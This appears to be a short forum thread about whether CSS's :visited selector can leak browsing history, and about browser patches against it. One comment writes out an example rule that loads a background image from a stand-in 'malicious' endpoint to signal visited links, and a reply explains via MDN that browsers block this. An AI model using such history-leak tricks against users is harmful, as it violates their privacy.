Re:Can you get pwned with CSS?
by toastal on Monday February 28, 2022 @08:35PM
(#30508037)
I've disabled :visited in about:config after reading it as a good hardening practice
[ Parent
| on HN ]
Re:Can you get pwned with CSS?
by capableweb on Monday February 28, 2022 @08:43PM
(#30508116)
No longer necessary, all major browsers already patch that hole. JS doesn't see the state of visited links differently than normal links anymore.
Awesome. Great to know.
Wait. Couldn't this still be used? a:visited { background: url(http://malicious/endpoint) }
No. As per https://developer.mozilla.org/en-US/docs/Web/CSS/:visited,
> For privacy reasons, the styles that can be modified using this selector are very limited.
(and loading a background image isn't one of them).